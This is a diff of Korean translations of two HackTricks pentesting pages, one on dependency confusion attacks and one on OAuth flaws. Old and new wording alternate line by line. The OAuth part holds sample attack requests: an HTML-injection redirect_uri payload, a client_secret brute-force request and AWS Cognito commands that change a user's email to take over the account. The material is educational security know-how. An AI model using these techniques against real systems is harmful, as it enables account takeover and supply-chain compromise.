* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유**하려면 [hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)로 PR을 제출하세요.
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유**하려면 **[hacktricks 레포](https://github.com/carlospolop/hacktricks)** 및 **[hacktricks-cloud 레포](https://github.com/carlospolop/hacktricks-cloud)**로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## 기본 정보
|
||||
|
||||
요약하면, 의존성 혼란 취약점은 프로젝트가 **철자가 틀린** 이름, **존재하지 않는** 또는 **지정되지 않은 버전**을 가진 라이브러리를 사용하고 사용된 의존성 저장소가 **공개 저장소에서 업데이트된 버전을 수집할 수 있는 경우** 발생합니다.
|
||||
요약하면, 의존성 혼란 취약점은 프로젝트가 **철자가 틀린** 이름, **존재하지 않는** 또는 **지정되지 않은 버전**을 가진 라이브러리를 사용하고 사용된 의존성 저장소가 **공개 저장소에서 업데이트된 버전을 수집할 수 있을 때** 발생합니다.
|
||||
|
||||
* **철자가 틀린**: `requests` 대신 **`reqests`**를 가져옴
|
||||
* **존재하지 않는**: 더 이상 존재하지 않는 내부 라이브러리인 `company-logging`을 가져옴
|
||||
* **지정되지 않은 버전**: 내부 **존재하는** `company-requests` 라이브러리를 가져오지만, 레포지토리가 **공개 레포지토리**에서 **더 큰 버전**이 있는지 확인합니다.
|
||||
* **철자가 틀린**: `requests` 대신에 **`reqests`**를 임포트
|
||||
* **존재하지 않는**: 더 이상 존재하지 않는 내부 라이브러리인 `company-logging`을 임포트
|
||||
* **지정되지 않은 버전**: 내부 **존재하는** `company-requests` 라이브러리를 임포트하지만 레포가 **공개 레포지토리**에서 **더 큰 버전**이 있는지 확인합니다.
|
||||
|
||||
## 공격
|
||||
|
||||
{% hint style="warning" %}
|
||||
모든 경우에 공격자는 피해자 회사가 사용하는 라이브러리의 **악성 패키지를 이름으로 발행**하면 됩니다.
|
||||
모든 경우에 공격자는 피해자 회사가 사용하는 라이브러리의 **악성 패키지를 발행**하기만 하면 됩니다.
|
||||
{% endhint %}
|
||||
|
||||
### 철자가 틀린 & 존재하지 않는
|
||||
|
||||
회사가 **내부가 아닌 라이브러리를 가져오려고 하는 경우**, 라이브러리 레포지토리는 **공개 레포지토리**에서 해당 라이브러리를 찾을 것입니다. 공격자가 만들었다면, 귀하의 코드와 실행 중인 기기가 크게 **침해**를 받을 가능성이 높습니다.
|
||||
회사가 **내부가 아닌 라이브러리를 임포트**하려고 하는 경우, 라이브러리 레포가 **공개 저장소**에서 해당 라이브러리를 찾을 것입니다. 공격자가 만들었다면, 귀하의 코드와 실행 중인 기기가 크게 **침해**될 가능성이 높습니다.
|
||||
|
||||
### 지정되지 않은 버전
|
||||
|
||||
개발자가 라이브러리의 버전을 **지정하지 않는 것**이나 **주 버전만 지정**하는 것이 매우 흔합니다. 그럼 인터프리터는 해당 요구 사항을 충족하는 **최신 버전**을 다운로드하려고 할 것입니다.\
|
||||
개발자들이 라이브러리의 버전을 **지정하지 않는 것**이 매우 흔합니다. 또는 **주 버전만 지정**하는 경우도 있습니다. 그럼 인터프리터는 해당 요구 사항을 충족하는 **최신 버전**을 다운로드하려고 할 것입니다.\
|
||||
라이브러리가 **알려진 외부 라이브러리**인 경우(예: 파이썬 `requests`), **공격자는 많은 것을 할 수 없습니다**, 왜냐하면 `requests`라는 라이브러리를 만들 수 없기 때문입니다(원래 저자가 아닌 한).\
|
||||
그러나 이 예에서처럼 라이브러리가 **내부**인 경우, `requests-company`인 경우, **라이브러리 레포지토리**가 **외부에서도 새 버전을 확인할 수 있도록 허용**한다면, 공개적으로 사용 가능한 새 버전을 찾을 것입니다.\
|
||||
따라서 **공격자가** 회사가 `requests-company` 라이브러리 **버전 1.0.1**을 사용하고 있다는 것을 알고 있다면(마이너 업데이트 허용), 라이브러리 `requests-company` **버전 1.0.2**를 **발행**할 수 있고 회사는 내부 라이브러리 대신 **해당 라이브러리를 사용**할 것입니다.
|
||||
그러나 이 예에서처럼 라이브러리가 **내부**인 경우, `requests-company`인 경우, **라이브러리 레포**가 **외부에서도 새 버전을 확인할 수 있도록** 허용된다면, 공개적으로 사용 가능한 새 버전을 찾을 것입니다.\
|
||||
따라서 **공격자가** 회사가 `requests-company` 라이브러리 **버전 1.0.1**을 사용한다는 것을 알고 있다면(마이너 업데이트 허용), 라이브러리 `requests-company` **버전 1.0.2**를 **발행**할 수 있고 회사는 내부 라이브러리 대신 **해당 라이브러리를 사용**할 것입니다.
|
||||
|
||||
## AWS 수정
|
||||
|
||||
이 취약점은 AWS **CodeArtifact**에서 발견되었습니다(이 [**블로그 게시물의 자세한 내용**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)을 읽으세요).\
|
||||
AWS는 내부 라이브러리를 외부 저장소에서 다운로드하지 않도록 하기 위해 라이브러리가 내부 또는 외부인지를 지정할 수 있도록 수정했습니다.
|
||||
이 취약점은 AWS **CodeArtifact**에서 발견되었습니다(이 [**블로그 게시물**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)에서 자세한 내용을 읽으세요).\
|
||||
AWS는 내부 라이브러리를 외부 저장소에서 다운로드하지 않도록 하기 위해 라이브러리가 내부인지 외부인지를 지정할 수 있도록 수정했습니다.
|
||||
|
||||
## 취약한 라이브러리 찾기
|
||||
|
||||
|
@ -55,18 +55,18 @@ AWS는 내부 라이브러리를 외부 저장소에서 다운로드하지 않
|
|||
* [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
|
||||
* [https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 히어로까지 AWS 해킹을 배우세요**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유**하려면 [hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)로 PR을 제출하세요.
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유**하려면 **[hacktricks 레포](https://github.com/carlospolop/hacktricks)** 및 **[hacktricks-cloud 레포](https://github.com/carlospolop/hacktricks-cloud)**로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,44 +2,44 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **HackTricks에 귀사를 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## 기본 정보 <a href="#d4a8" id="d4a8"></a>
|
||||
|
||||
OAuth는 여러 버전을 제공하며, 기본적인 통찰력은 [OAuth 2.0 문서](https://oauth.net/2/)에서 확인할 수 있습니다. 이 토론은 주로 널리 사용되는 [OAuth 2.0 인가 코드 그랜트 유형](https://oauth.net/2/grant-types/authorization-code/)에 중점을 두며, **응용 프로그램이 다른 응용 프로그램(인가 서버)의 사용자 계정에 액세스하거나 작업을 수행할 수 있는 인가 프레임워크**를 제공합니다.
|
||||
OAuth는 여러 버전을 제공하며, 기본적인 통찰력은 [OAuth 2.0 문서](https://oauth.net/2/)에서 확인할 수 있습니다. 이 토론은 주로 널리 사용되는 [OAuth 2.0 인가 코드 그랜트 유형](https://oauth.net/2/grant-types/authorization-code/)에 중점을 두며, **응용 프로그램이 다른 응용 프로그램의 사용자 계정에 액세스하거나 작업을 수행할 수 있는 인가 프레임워크**를 제공합니다(인가 서버).
|
||||
|
||||
가정적인 웹사이트 _**https://example.com**_은 **모든 소셜 미디어 게시물을 쇼케이스**하기 위해 OAuth 2.0을 사용합니다. _https://example.com_은 **소셜 미디어 게시물에 액세스**하도록 권한을 요청합니다. 결과적으로 _https://socialmedia.com_에서 **요청되는 권한 및 요청을 하는 개발자**를 설명하는 동의 화면이 표시됩니다. 귀하의 승인 후, _https://example.com_은 **귀하를 대신하여 귀하의 게시물에 액세스**할 수 있게 됩니다.
|
||||
|
||||
OAuth 2.0 프레임워크 내에서 다음 구성 요소를 이해하는 것이 중요합니다:
|
||||
|
||||
- **리소스 소유자**: 귀하는 **사용자/엔티티**로서 귀하의 리소스에 대한 액세스를 승인합니다(예: 소셜 미디어 계정 게시물).
|
||||
- **리소스 소유자**: **사용자/개체**로서 귀하의 리소스에 대한 액세스를 승인합니다(예: 소셜 미디어 계정 게시물).
|
||||
- **리소스 서버**: `액세스 토큰`을 확보한 후 `리소스 소유자`를 대신하여 인증된 요청을 처리하는 **서버**, 예: **https://socialmedia.com**.
|
||||
- **클라이언트 응용 프로그램**: `리소스 소유자`로부터 인가를 받는 **응용 프로그램**, 예: **https://example.com**.
|
||||
- **인가 서버**: `리소스 소유자`의 성공적인 인증 및 권한 부여 후 `클라이언트 응용 프로그램`에 `액세스 토큰`을 발급하는 **서버**, 예: **https://socialmedia.com**.
|
||||
- **인가 서버**: `리소스 소유자`의 성공적인 인증 및 권한 부여 이후 `클라이언트 응용 프로그램`에 `액세스 토큰`을 발급하는 **서버**, 예: **https://socialmedia.com**.
|
||||
- **client\_id**: 응용 프로그램을 위한 공개적이고 고유한 식별자.
|
||||
- **client\_secret**: 응용 프로그램과 인가 서버만 알고 있는 비밀 키로, `액세스 토큰`을 생성하는 데 사용됩니다.
|
||||
- **response\_type**: 요청되는 **토큰 유형을 지정하는 값**, 예: `code`.
|
||||
- **client\_secret:** 응용 프로그램과 인가 서버만 알고 있는 비밀 키로, `액세스 토큰`을 생성하는 데 사용됩니다.
|
||||
- **response\_type**: 요청되는 **토큰 유형**을 지정하는 값, 예: `code`.
|
||||
- **scope**: `클라이언트 응용 프로그램`이 `리소스 소유자`로부터 요청하는 **액세스 수준**.
|
||||
- **redirect\_uri**: **인가 후 사용자가 리디렉션되는 URL**입니다. 일반적으로 사전 등록된 리디렉션 URL과 일치해야 합니다.
|
||||
- **state**: **사용자의 인가 서버로부터 리디렉션 및 다시 리디렉션하는 동안 데이터를 유지**하는 매개변수입니다. 그것의 고유성은 **CSRF 보호 메커니즘**으로서 중요합니다.
|
||||
- **grant\_type**: **부여 유형 및 반환될 토큰 유형을 나타내는** 매개변수입니다.
|
||||
- **code**: `인가 서버`에서의 인가 코드로, `클라이언트 응용 프로그램`이 `client_id` 및 `client_secret`과 함께 `액세스 토큰`을 획득하는 데 사용됩니다.
|
||||
- **access\_token**: `리소스 소유자`를 대신하여 `API 요청`에 사용되는 **토큰**입니다.
|
||||
- **refresh\_token**: 응용 프로그램이 **사용자에게 다시 프롬프팅하지 않고 새 `액세스 토큰`을 얻을 수 있게 하는** 토큰입니다.
|
||||
- **redirect\_uri**: 권한 부여 후 사용자가 리디렉션되는 **URL**, 일반적으로 사전에 등록된 리디렉션 URL과 일치해야 합니다.
|
||||
- **state**: 사용자의 인가 서버로부터 리디렉션 및 다시 리디렉션하는 동안 데이터를 유지하는 매개변수로, 고유성은 **CSRF 보호 메커니즘**으로서 중요합니다.
|
||||
- **grant\_type**: **인가 유형 및 반환될 토큰 유형**을 나타내는 매개변수.
|
||||
- **code**: `인가 서버`에서의 인가 코드로, `클라이언트 응용 프로그램`이 `client_id` 및 `client_secret`과 함께 `액세스 토큰`을 획들하는 데 사용됩니다.
|
||||
- **access\_token**: `리소스 소유자`를 대신하여 `클라이언트 응용 프로그램`이 API 요청에 사용하는 **토큰**.
|
||||
- **refresh\_token**: 응용 프로그램이 사용자에게 다시 프롬프팅하지 않고 새 `액세스 토큰`을 얻을 수 있게 합니다.
|
||||
|
||||
### 흐름
|
||||
|
||||
|
@ -55,13 +55,13 @@ https://socialmedia.com/auth
|
|||
&scope=readPosts
|
||||
&state=randomString123
|
||||
```
|
||||
3. 동의 페이지가 표시됩니다.
|
||||
3. 당신은 동의 페이지가 표시됩니다.
|
||||
|
||||
4. 승인 후에, 소셜 미디어는 `redirect_uri`로 `code` 및 `state` 매개변수를 포함한 응답을 보냅니다:
|
||||
4. 당신의 승인 이후, 소셜 미디어는 `redirect_uri`로 `code`와 `state` 매개변수를 포함한 응답을 보냅니다:
|
||||
```
|
||||
https://example.com?code=uniqueCode123&state=randomString123
|
||||
```
|
||||
5. https://example.com은 `code`를 사용하여 당신을 대신하여 `access_token`을 얻기 위해 서버 측 요청을 만듭니다. 이때 `client_id`와 `client_secret`를 함께 사용합니다. 이로써 당신이 동의한 권한에 액세스할 수 있게 됩니다:
|
||||
5. https://example.com은 `code`를 사용하여 당신을 대신하여 `access_token`을 얻기 위해 서버 측 요청을 만듭니다. 이 과정에서 `client_id`와 `client_secret`가 함께 사용됩니다. 이를 통해 당신이 동의한 권한에 액세스할 수 있게 됩니다:
|
||||
```
|
||||
POST /oauth/access_token
|
||||
Host: socialmedia.com
|
||||
|
@ -71,13 +71,13 @@ Host: socialmedia.com
|
|||
|
||||
## 취약점 <a href="#323a" id="323a"></a>
|
||||
|
||||
### Open redirect_uri <a href="#cc36" id="cc36"></a>
|
||||
### Open redirect\_uri <a href="#cc36" id="cc36"></a>
|
||||
|
||||
`redirect_uri`는 OAuth 및 OpenID 구현에서 보안에 중요한 역할을 합니다. 이는 인가 코드와 같은 민감한 데이터가 인가 후에 전송되는 위치를 지시하기 때문입니다. 잘못 구성된 경우, 공격자가 이러한 요청을 악의적인 서버로 리디렉션하여 계정 탈취를 가능케 할 수 있습니다.
|
||||
`redirect_uri`는 OAuth 및 OpenID 구현에서 보안에 중요한 역할을 합니다. 인가 후에 인증 코드와 같은 민감한 데이터가 전송되는 위치를 지정하기 때문입니다. 잘못 구성된 경우, 공격자가 이러한 요청을 악의적인 서버로 리디렉션하여 계정 탈취를 가능케 할 수 있습니다.
|
||||
|
||||
악용 기술은 인가 서버의 유효성 검사 논리에 따라 다양합니다. 엄격한 경로 일치부터 지정된 도메인 또는 하위 디렉토리 내의 모든 URL을 허용하는 것까지 다양합니다. 일반적인 악용 방법으로는 오픈 리다이렉트, 경로 순회, 약한 정규식 악용 및 토큰 도난을 위한 HTML 삽입이 있습니다.
|
||||
악용 기술은 인가 서버의 유효성 검사 논리에 따라 다양합니다. 엄격한 경로 일치부터 지정된 도메인이나 하위 디렉토리 내의 모든 URL을 허용하는 것까지 다양합니다. 일반적인 악용 방법으로는 오픈 리다이렉트, 경로 순회, 약한 정규식 악용 및 토큰 도난을 위한 HTML 삽입이 있습니다.
|
||||
|
||||
`redirect_uri` 외에도 `client_uri`, `policy_uri`, `tos_uri`, `initiate_login_uri`와 같은 다른 OAuth 및 OpenID 매개변수도 리디렉션 공격에 취약합니다. 이러한 매개변수는 선택 사항이며 지원 범위가 서버마다 다릅니다.
|
||||
`redirect_uri` 외에도 `client_uri`, `policy_uri`, `tos_uri`, `initiate_login_uri`와 같은 다른 OAuth 및 OpenID 매개변수도 리디렉션 공격에 취약할 수 있습니다. 이러한 매개변수는 선택 사항이며 지원 범위는 서버마다 다릅니다.
|
||||
|
||||
OpenID 서버를 대상으로 하는 경우, 발견 엔드포인트(`**.well-known/openid-configuration**`)는 종종 `registration_endpoint`, `request_uri_parameter_supported`, "`require_request_uri_registration`과 같은 가치 있는 구성 세부 정보를 나열합니다. 이러한 세부 정보는 등록 엔드포인트 및 서버의 기타 구성 세부 정보를 식별하는 데 도움이 될 수 있습니다.
|
||||
|
||||
|
@ -87,31 +87,31 @@ OpenID 서버를 대상으로 하는 경우, 발견 엔드포인트(`**.well-kno
|
|||
```
|
||||
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
|
||||
```
|
||||
### CSRF - 상태 매개변수 처리 부적절 <a href="#bda5" id="bda5"></a>
|
||||
### CSRF - 상태 매개변수의 부적절한 처리 <a href="#bda5" id="bda5"></a>
|
||||
|
||||
OAuth 구현에서 **`state` 매개변수**의 오용 또는 누락은 **Cross-Site Request Forgery (CSRF)** 공격 위험을 크게 증가시킬 수 있습니다. 이 취약점은 `state` 매개변수가 **사용되지 않거나 정적 값으로 사용되거나 적절하게 유효성이 검사되지 않을 때** 발생하며, 이를 통해 공격자가 CSRF 보호를 우회할 수 있습니다.
|
||||
OAuth 구현에서 **`state` 매개변수**의 오용 또는 누락은 **Cross-Site Request Forgery (CSRF)** 공격의 위험을 크게 증가시킬 수 있습니다. 이 취약점은 `state` 매개변수가 **사용되지 않거나 정적 값으로 사용되거나 적절하게 유효성이 검사되지 않을 때** 발생하며, 이로 인해 공격자가 CSRF 보호를 우회할 수 있습니다.
|
||||
|
||||
공격자는 권한 부여 프로세스를 가로채어 자신의 계정을 피해자의 계정과 연결하여 **계정 탈취**로 이어질 수 있습니다. 이는 특히 OAuth가 **인증 목적으로 사용되는 애플리케이션**에서 매우 중요합니다.
|
||||
|
||||
이러한 취약점의 실제 사례는 다양한 **CTF 챌린지** 및 **해킹 플랫폼**에서 문서화되어 있으며, 실제 적용 가능성을 강조합니다. 이 문제는 **Slack**, **Stripe**, **PayPal**과 같은 제3자 서비스와의 통합에도 영향을 미치며, 공격자가 알림이나 결제를 자신의 계정으로 리디렉션할 수 있습니다.
|
||||
이러한 취약점의 실제 사례는 다양한 **CTF 챌린지** 및 **해킹 플랫폼**에서 문서화되어 있으며, 실제 적용 가능성을 강조합니다. 이 문제는 **Slack**, **Stripe**, **PayPal**과 같은 제3자 서비스와의 통합에도 영향을 미치며, 공격자는 알림이나 결제를 자신의 계정으로 리디렉션할 수 있습니다.
|
||||
|
||||
**`state` 매개변수**의 적절한 처리와 유효성 검사는 CSRF에 대비하고 OAuth 흐름을 안전하게 보호하는 데 중요합니다.
|
||||
**`state` 매개변수**의 적절한 처리 및 유효성 검사는 CSRF에 대한 보호 및 OAuth 흐름의 보안을 확보하는 데 중요합니다.
|
||||
|
||||
### 계정 탈취 전 <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
1. **계정 생성 시 이메일 확인 없음**: 공격자는 피해자의 이메일을 사용하여 미리 계정을 생성할 수 있습니다. 피해자가 나중에 로그인을 위해 제3자 서비스를 사용하는 경우, 애플리케이션이 이 제3자 계정을 실수로 공격자가 미리 생성한 계정에 연결할 수 있어 무단 액세스로 이어질 수 있습니다.
|
||||
1. **계정 생성 시 이메일 확인 없음**: 공격자는 피해자의 이메일을 사용하여 미리 계정을 생성할 수 있습니다. 피해자가 나중에 로그인을 위해 제3자 서비스를 사용하는 경우, 애플리케이션이 이 제3자 계정을 공격자가 미리 생성한 계정에 부적절하게 연결할 수 있어 무단 액세스로 이어질 수 있습니다.
|
||||
|
||||
2. **느슨한 OAuth 이메일 확인 악용**: 공격자는 이메일을 확인하지 않는 OAuth 서비스를 악용하여 서비스에 등록한 후 계정 이메일을 피해자의 이메일로 변경할 수 있습니다. 이 방법은 첫 번째 시나리오와 유사하게 무단 계정 액세스의 위험을 초래하지만 다른 공격 벡터를 통해 이루어집니다.
|
||||
2. **느슨한 OAuth 이메일 확인 악용**: 공격자는 이메일을 확인하지 않는 OAuth 서비스를 악용하여 해당 서비스에 등록한 후 계정 이메일을 피해자의 이메일로 변경할 수 있습니다. 이 방법은 첫 번째 시나리오와 유사하게 무단 계정 액세스의 위험을 초래하지만 다른 공격 벡터를 통해 발생합니다.
|
||||
|
||||
### 비밀 노출 <a href="#e177" id="e177"></a>
|
||||
### 비밀 정보 노출 <a href="#e177" id="e177"></a>
|
||||
|
||||
비밀 OAuth 매개변수를 식별하고 보호하는 것이 중요합니다. **`client_id`**는 안전하게 공개될 수 있지만 **`client_secret`**를 공개하면 중대한 위험을 초래할 수 있습니다. `client_secret`가 노출되면 공격자가 응용 프로그램의 신원과 신뢰를 악용하여 사용자 `access_token` 및 개인 정보를 **도용**할 수 있습니다.
|
||||
비밀 OAuth 매개변수를 식별하고 보호하는 것이 중요합니다. **`client_id`**는 안전하게 공개할 수 있지만 **`client_secret`**를 공개하면 중대한 위험을 초래할 수 있습니다. `client_secret`가 노출되면 공격자가 애플리케이션의 신원과 신뢰를 악용하여 사용자 `access_token` 및 개인 정보를 **도용**할 수 있습니다.
|
||||
|
||||
응용 프로그램이 권한 `code`을 `access_token`으로 교환하는 것을 서버 측이 아닌 클라이언트 측에서 잘못 처리하는 경우 일반적인 취약점이 발생합니다. 이 실수로 `client_secret`가 노출되어 공격자가 응용 프로그램의 위장으로 `access_token`을 생성할 수 있게 됩니다. 더 나아가 사회 공학을 통해 공격자는 OAuth 권한에 추가적인 범위를 추가하여 응용 프로그램의 신뢰 상태를 더 악용할 수 있습니다.
|
||||
일반적인 취약점은 애플리케이션이 권한 `code`를 `access_token`으로 교환하는 것을 서버 측이 아닌 클라이언트 측에서 잘못 처리할 때 발생합니다. 이 실수로 인해 `client_secret`가 노출되어 공격자가 애플리케이션의 위장으로 `access_token`을 생성할 수 있습니다. 더 나아가 사회 공학을 통해 공격자는 OAuth 권한에 추가적인 범위를 추가하여 애플리케이션의 신뢰 상태를 더 악용할 수 있습니다.
|
||||
|
||||
### 클라이언트 시크릿 브루트포스
|
||||
|
||||
서비스 제공자의 클라이언트 시크릿을 **브루트포스**하여 ID 제공자와 함께 계정을 도용하려고 시도할 수 있습니다.\
|
||||
서비스 제공자의 클라이언트 시크릿을 **브루트포스**하여 계정을 도용하려는 시도를 할 수 있습니다.\
|
||||
BF에 대한 요청은 다음과 유사할 수 있습니다:
|
||||
```
|
||||
POST /token HTTP/1.1
|
||||
|
@ -122,29 +122,29 @@ Connection: close
|
|||
|
||||
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
|
||||
```
|
||||
### Referer 헤더 누설 코드 + State
|
||||
### Referer Header leaking Code + State
|
||||
|
||||
클라이언트가 **코드와 상태**를 가지고 있으면, 다른 페이지로 이동할 때 **Referer 헤더에 반영**되어 있다면 취약합니다.
|
||||
클라이언트가 **코드와 상태를** 가지고 있고, 다른 페이지로 이동할 때 **Referer 헤더 내에 반영**된다면 취약합니다.
|
||||
|
||||
### 브라우저 히스토리에 저장된 액세스 토큰
|
||||
### Access Token Stored in Browser History
|
||||
|
||||
**브라우저 히스토리로 이동하여 액세스 토큰이 저장되어 있는지 확인**합니다.
|
||||
**브라우저 기록을 확인하여 액세스 토큰이 저장되어 있는지** 확인합니다.
|
||||
|
||||
### 영구적인 인가 코드
|
||||
### Everlasting Authorization Code
|
||||
|
||||
**인가 코드는 공격자가 그것을 도용하고 사용할 수 있는 시간 창을 제한하기 위해 일정 시간 동안만 유지**되어야 합니다.
|
||||
**인가 코드는 일정 시간 동안만 유지**되어야 하며, 공격자가 그것을 훔쳐 사용할 수 있는 시간 창을 제한해야 합니다.
|
||||
|
||||
### 클라이언트에 바인딩되지 않은 인가/새로고침 토큰
|
||||
### Authorization/Refresh Token not bound to client
|
||||
|
||||
**인가 코드를 가져와 다른 클라이언트에서 사용할 수 있다면 다른 계정을 탈취**할 수 있습니다.
|
||||
**인가 코드를 획들어 다른 클라이언트에서 사용할 수 있다면 다른 계정을 탈취**할 수 있습니다.
|
||||
|
||||
### Happy Paths, XSS, Iframes 및 Post Messages를 사용하여 코드 및 상태 값 누출
|
||||
### Happy Paths, XSS, Iframes & Post Messages to leak code & state values
|
||||
|
||||
**[이 게시물을 확인하세요](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
|
||||
|
||||
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
||||
|
||||
이 버그 바운티 보고서에서: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito**가 사용자에게 돌려주는 **토큰**에는 **사용자 데이터를 덮어쓸 충분한 권한**이 있을 수 있습니다. 따라서, **다른 사용자 이메일로 사용자 이메일을 변경**할 수 있다면, 다른 사람의 계정을 **탈취**할 수 있을 수도 있습니다.
|
||||
이 버그 바운티 보고서에서: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito**가 사용자에게 돌려주는 **토큰**이 **사용자 데이터를 덮어쓸 충분한 권한을 가질 수 있다는 것**을 볼 수 있습니다. 따라서, **다른 사용자 이메일로 사용자 이메일을 변경**할 수 있다면, 다른 사람의 계정을 **탈취**할 수 있을 수도 있습니다.
|
||||
```bash
|
||||
# Read info of the user
|
||||
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
|
||||
|
@ -161,39 +161,71 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
|
|||
]
|
||||
}
|
||||
```
|
||||
